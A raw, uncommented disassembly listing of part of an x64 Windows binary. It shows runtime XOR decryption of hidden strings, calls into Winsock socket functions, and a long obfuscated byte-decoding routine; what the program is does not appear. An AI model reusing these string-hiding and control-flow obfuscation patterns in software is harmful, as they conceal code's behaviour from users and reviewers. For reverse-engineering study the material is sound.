mov dword [rbp + 0x40f0], eax
mov dword [rbp + 0x40f4], r14d
mov dword [rbp + 0x40f8], r14d
mov dword [rbp + 0x40fc], r14d
mov word [rbp + 0x4100], r14w
movups xmmword [rbp + 0x4108], xmm0
movups xmmword [rbp + 0x4118], xmm0
mov qword [rbp + 0x4128], rax
mov qword [rbp + 0x3e70], 0xaed0de
mov dword [rbp + 0x3e78], reloc.WS2_32.dll_socket
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x3e70]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], r14
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, dword [0x1404e9d1c]
call fcn.140163710
shr eax, 0x1f
xor al, 1
test dil, dil
je 0x140189737
test al, al
jne 0x140189737
lea rdx, [rbp + 0x23f0]
lea rcx, [rbp - 0x4b]
call fcn.140164850
cmp byte [rbp + 0x242b], 0
je 0x1401896e2
mov r8d, r14d
lea r10, [rbp + 0x23f0]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r10], cl
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x3c
jl 0x1401896b0
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], r14w
mov r9d, 0x1040
lea r8, [0x140443e2f]
lea rdx, [rbp + 0x23f0]
xor ecx, ecx
call fcn.140145110
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x23f0], xmm0
movups xmmword [rbp + 0x2400], xmm0
movups xmmword [rbp + 0x2410], xmm0
mov qword [rbp + 0x2420], rax
mov dword [rbp + 0x2428], eax
jmp 0x14018990f
test r12b, r12b
je 0x140189930
mov dword [rbp + 0x413c], r14d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x4140]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x4340], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x4348], xmm0
movups xmmword [rbp + 0x4358], xmm0
mov qword [rbp + 0x4368], rax
movups xmmword [rbp + 0x4370], xmm0
mov dword [rbp + 0x4380], eax
mov dword [rbp + 0x4384], r14d
mov qword [rbp + 0x4388], r14
mov qword [rbp + 0x4390], r14
mov dword [rbp + 0x4398], r14d
mov qword [rbp + 0x43a0], r14
mov qword [rbp + 0x43a8], rax
mov dword [rbp + 0x43b0], eax
mov dword [rbp + 0x43b4], r14d
mov dword [rbp + 0x43b8], r14d
mov dword [rbp + 0x43bc], r14d
mov word [rbp + 0x43c0], r14w
movups xmmword [rbp + 0x43c8], xmm0
movups xmmword [rbp + 0x43d8], xmm0
mov qword [rbp + 0x43e8], rax
mov qword [rbp + 0x4130], 0xaed0de
mov dword [rbp + 0x4138], 4
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x4130]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], r14
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, dword [0x1404e9d1c]
call fcn.140163710
test eax, eax
jns 0x140189930
test dil, dil
je 0x140189930
lea rdx, [rbp + 0x2890]
lea rcx, [rbp - 0x4a]
call fcn.140164890
cmp byte [rbp + 0x2910], 0
je 0x1401898b5
mov r8d, r14d
lea r9, [rbp + 0x2890]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x140189880
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], r14w
mov r9d, 0x1040
lea r8, [0x140443e2f]
lea rdx, [rbp + 0x2890]
xor ecx, ecx
call fcn.140145110
lea rax, [rbp + 0x2890]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm0
mov byte [rax + 0x80], cl
mov rcx, qword [rsp + 0x68]
call fcn.140135dd0
nop
mov rcx, qword [rbp - 0x18]
call fcn.140135dd0
nop
mov rcx, qword [rsp + 0x78]
call fcn.140135dd0
jmp 0x140189955
mov rcx, qword [rsp + 0x68]
call fcn.140135dd0
nop
mov rcx, qword [rbp - 0x18]
call fcn.140135dd0
nop
mov rcx, r13
call fcn.140135dd0
test ebx, ebx
jns 0x1401899d8
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp - 0x49]
call fcn.1401a1a50
cmp byte [rbp + 0x3bc], 0
je 0x1401899b2
mov r8d, r14d
lea r9, [rbp + 0x3b0]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140189980
lea rcx, [rbp + 0x3b0]
call fcn.14014cf40
mov qword [rbp + 0x3b0], r14
mov dword [rbp + 0x3b8], r14d
mov byte [rbp + 0x3bc], r14b
jmp 0x1401a141f
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x48]
call fcn.1401a1a80
cmp byte [rbp + 0x197], 0
je 0x140189a32
mov r8d, r14d
lea r9, [rbp + 0x190]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140189a00
lea rcx, [rbp + 0x190]
call fcn.14014cf40
mov qword [rbp + 0x190], r14
jmp 0x1401a141f
lea rdx, [rbp + 0x74]
lea rcx, [rbp - 0x47]
call fcn.1401a1a90
lea rdx, [rbp + 0x7c]
lea rcx, [rbp - 0x46]
call fcn.1401a1ab0
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp - 0x45]
call fcn.1401a1ad0
lea rax, [rbp + 0x17f0]
mov qword [rbp + 0x5d10], rax
cmp byte [rbp + 0x81], 0
je 0x140189ad2
mov r8d, r12d
lea r9, [rbp + 0x7c]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 6
jl 0x140189aa0
lea rdx, [rbp + 0x7c]
lea rcx, [rbp + 0x17f0]
call fcn.14013a940
mov rbx, rax
cmp byte [rbp + 0x79], 0
je 0x140189b32
mov r8d, r12d
lea r9, [rbp + 0x74]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 6
jl 0x140189b00
lea rdx, [rbp + 0x74]
lea rcx, [rbp + 0x1810]
call fcn.14013a940
nop
mov rdx, rbx
mov rcx, rax
call fcn.140153700
cmp byte [rbp + 0x2e9], 0
je 0x140189ba2
mov r8d, r12d
lea r9, [rbp + 0x2e0]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa
jl 0x140189b70
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x1830]
call fcn.14013a940
mov edx, r13d
mov rcx, rax
call fcn.140153660
mov dword [rbp + 0x74], r12d
mov word [rbp + 0x78], r12w
mov dword [rbp + 0x7c], r12d
mov word [rbp + 0x80], r12w
mov qword [rbp + 0x2e0], r12
mov word [rbp + 0x2e8], r12w
lea rdx, [rbp + 0x13f0]
lea rcx, [rbp + 0x1850]
call fcn.140135eb0
mov r14, rax
mov qword [rbp + 0x5d10], rax
mov byte [rbp - 0x44], 0
lea rcx, [rbp + 0x1870]
call fcn.140155160
nop
lea rcx, [rbp - 0x43]
call fcn.140135ff0
mov rdi, rax
lea rdx, [rbp + 0x198]
mov rcx, r14
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x1a0]
mov rcx, r14
call fcn.14013e7f0
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1890]
call fcn.14013ed00
nop
lea rdx, [rbp + 0x1890]
lea rcx, [rbp + 0x2fb0]
call fcn.1401cb620
nop
lea rdx, [rbp + 0x2fb0]
lea rcx, [rbp + 0x700]
call fcn.1401e4a40
nop
lea rcx, [rbp + 0x2fb0]
call fcn.14015c7a0
lea rdx, [0x14047f0e8]
lea rcx, [rbp + 0x18b0]
call fcn.140155030
mov rdx, rax
lea rcx, [rbp + 0x710]
call fcn.14015d120
nop
lea rdx, [0x14044a4fc]
lea rcx, [rbp + 0x3098]
call fcn.1401cb650
nop
lea rdx, [rbp + 0x3098]
lea rcx, [rbp + 0x710]
call fcn.14015d160
nop
lea rcx, [rbp + 0x3098]
call fcn.14015c7a0
lea rcx, [rbp + 0x710]
call fcn.14015d170
mov rsi, rax
mov byte [rbp + 0x2057], WSASetLastError
mov byte [rbp + 0x2058], 0x19
mov byte [rbp + 0x2059], 0x8d
mov byte [rbp + 0x205a], 0x1b
mov byte [rbp + 0x205b], 0x75
mov byte [rbp + 0x205c], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x205d], 0x8a
mov byte [rbp + 0x205e], reloc.WS2_32.dll_socket
mov byte [rbp + 0x205f], 0x8d
mov byte [rbp + 0x2060], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x2061], 0x80
mov byte [rbp + 0x2062], reloc.WS2_32.dll_send
mov byte [rbp + 0x2063], 0x62
mov byte [rbp + 0x2064], recvfrom
mov byte [rbp + 0x2065], 0x98
mov byte [rbp + 0x2066], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2067], 0x9d
mov byte [rbp + 0x2068], 9
mov byte [rbp + 0x2069], 0xa
mov byte [rbp + 0x206a], reloc.WS2_32.dll_inet_addr
xor eax, eax
mov qword [rbp + 0x206b], rax
mov dword [rbp + 0x2073], eax
mov word [rbp + 0x2077], ax
mov byte [rbp + 0x2079], al
movabs r13, 0xca2860d67aa22f84
movabs r12, 0x2f9bd2c7a0cb6da4
movzx r11d, byte [rbp + 0x5d00]
movabs rdx, 0xc3ec9474960fccac
nop dword [rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor ebx, ebx
movabs rcx, 0x954ff1980f4de5d4
cmp rbx, 0x23
jae 0x14018ac00
movzx r10d, byte [rbp + rbx + 0x2057]
mov rdi, r10
cmp r8, rbx
ja 0x14018abf7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140189e28
lea rcx, [rbx + r13]
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
add r11b, 0x64
movabs rcx, 0x954ff1980f4de5d4
jmp 0x140189e54
je 0x14018ab5c
inc rax
cmp r8, rax
je 0x14018aafb
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018aaa3
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018aa2e
cmp r9, rbx
ja 0x14018abee
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140189e74
lea rdx, [rbx + rcx]
mov ecx, 0x1a
jmp 0x14018a089
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14018a9cb
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018a9ba
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018a991
lea rax, [rcx + 1]
cmp r8, rax
je 0x14018a96c
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018a946
lea rax, [r9 + 8]
cmp r8, rax
je 0x14018a91d
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14018a532
nop
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14018a50d
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14018a4d5
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018a4a0
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14018a48c
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018a463
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14018a43e
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018a41a
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14018a3f4
lea rax, [r9 + 9]
cmp r8, rax
je 0x14018a3cb
lea rax, [r9 + 1]
cmp r8, rax
je 0x140189ed0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14018abc5
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14018aba0
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14018a0dc
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14018a0aa
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14018a081
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14018a367
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14018a2fe
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14018a2af
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14018a271
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140189ed0
lea r8, [r9 + 4]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14018a248
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14018a222
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14018a1fd
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14018a1d8
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14018a1b4
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14018a1a0
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14018a167
add rdx, rbx
mov ecx, 0x26
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189ec2
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x7c
add r11b, dl
movabs rcx, 0x954ff1980f4de5d4
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189e54
movabs rcx, 0x9b4b111aab870e9c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
movabs rcx, 0x954ff1980f4de5d4
jmp 0x140189def
movabs rdx, 0xed8d47b99aa21188
mov ecx, 0x24
jmp 0x14018aa3d
movabs rcx, 0x593c860ca55db280
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
jmp 0x14018aa7d
movabs rcx, 0xc4ebc45fb0195378
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x48
jmp 0x14018aa80
movabs rdx, 0x309b02b2bad4f470
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x10
jmp 0x14018aac6
movabs rdx, 0x9c4a4105c5909568
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14018ab1f
movabs rdx, 0x7f97f58d04c3660
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14018ab80
movabs rdx, 0x152f9b286b2148cc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
mov byte [rbp + rbx + 0x2057], r11b
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189dd2
movabs rcx, 0x80ded97b75dce9c4
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5c
cmp r9, 0x28
jb 0x14018a295
movabs rdx, 0x8c169574dc9eee98
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x50]
jmp 0x14018a9ee
movabs rdx, 0xec8e17ce80988abc
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x24
add r11b, dl
cmp r8, 0x3e8
jae 0x14018a8bf
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14018a7c0
movabs rdx, 0xc0ef04b347f33848
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14018a2ce
movabs rdx, 0x583d56218b542bb4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
lea rax, [r8 + r9]
cmp rax, 0x64
je 0x14018a8ef
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x14018a651
movabs rdx, 0x2b9f131b38a55274
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2c
jmp 0x14018a31e
movabs rdx, 0x7fdfa9905bd362f8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14018ab80
movabs rdx, 0xeb8ee7e3668f03f0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14018ab1f
movabs rcx, 0x573e2636714aa4e8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x14018aac9
movabs rcx, 0xc2ed64897c0645e0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
jmp 0x14018aa80
movabs rdx, 0x2e9ca2dc86c1e6d8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14018aa7d
movabs rdx, 0x9a4be12f917d87d0
mov ecx, 0x28
jmp 0x14018aa3d
movabs rcx, 0x5fb1f829c3928c8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x78
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189dd2
movabs rcx, 0x71aa5dd5a6f4c9c0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
inc r9
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189dd2
movabs rdx, 0xdd599c28b1b06ab8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
jmp 0x14018a9eb
lea rax, [r9 + 5]
cmp r8, rax
jae 0x14018a54f
lea rdx, [rbx + r13]
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
jmp 0x14018a37f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018a581
movabs rdx, 0x2a9fe3301e9bcba8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14018ab80
inc rax
cmp r8, rax
jne 0x14018a5af
movabs rdx, 0xbef0a4dd13e02ab0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14018ab1f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018a5dd
movabs rdx, 0x5341668a092489b8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
jmp 0x14018aac6
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018a61f
movabs rdx, 0xa4846d3dde3605d8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189dd2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14018a38b
movabs rdx, 0xcd25f097c8bec3e8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x58
jmp 0x14018a9eb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018a67f
movabs rdx, 0xbfefd4c82de9b17c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x64
jmp 0x14018a9eb
inc rax
cmp r8, rax
jne 0x14018a6c3
movabs rdx, 0x54409675232e1084
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189dd2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018a705
movabs rdx, 0xe891582218726f8c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189dd2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14018a733
movabs rdx, 0x7ce219cf0db6ce94
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
jmp 0x14018aa4f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018a760
movabs rcx, 0x1132db7c02fb2d9c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
jmp 0x14018aa7d
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14018a78e
movabs rcx, 0xa5839d28f83f8ca4
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7c
jmp 0x14018aa80
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14018a321
movabs rcx, 0x6275e22fd80ca9bc
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x24
jmp 0x14018ab80
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14018a7ee
movabs rcx, 0x553fc6603d379750
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x30
jmp 0x14018ab80
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018a81d
movabs rdx, 0x7de149ba27c05560
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14018aac6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018a84f
movabs rdx, 0x12320b671d04b468
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14018aa80
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14018a87d
movabs rdx, 0x3ad38ec1078d7278
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
jmp 0x14018aa4f
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14018a2ce
movabs rcx, 0xcf24506dfcd1d180
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189dd2
movabs rdx, 0x20675721d1e34da0
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0x2057]
sub r11b, al
sub r11b, 0x60
add r11b, dl
add r11b, r10b
jmp 0x14018aa52
movabs rdx, 0xb4b818cec727aca8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0x2057]
add r11b, r10b
jmp 0x14018aac6
movabs rdx, 0xcc26c0acaeb53d1c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14018ab80
movabs rdx, 0x37d5feffb970de14
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14018ab1f
movabs rcx, 0xf347ba5cee82004
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1c
jmp 0x14018aa80
movabs rdx, 0x7ae3b9f8d9a3c0fc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14018aa7d
movabs rdx, 0xe692f84be45f61f4
mov ecx, 0x2a
jmp 0x14018aa3d
movabs rdx, 0x29a0b345049244dc
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 4
add r11b, dl
movabs rdx, 0x563ef64b57411e1c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x2057], cl
inc r9
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189dd2
movabs rdx, 0x440ceae43a3c69b4
mov ecx, 0xa
add rdx, rbx
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0xea8fb7f84c857d24
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x2057], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189dd2
mov r10, rdi
movabs rdx, 0x871aa5dd5a6f4c9c
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x44
add r11b, dl
movabs rcx, 0x7ee079a541c9dc2c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x34
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x2057], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14018ab22
movabs rdx, 0xf2c9e430652aed94
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0xc
movzx r10d, dil
add r11b, dl
movabs rdx, 0x4908da7bbc6c0bb0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x2057], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
jmp 0x14018ab80
movabs rdx, 0x5e7922836fe68e8c
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0x2057]
add rax, r9
add rbx, rax
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140189dd2
movabs rcx, 0x6fa4f6db642af94
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xc
jmp 0x140189dce
movabs rdx, 0x72a98dc0c0fe508c
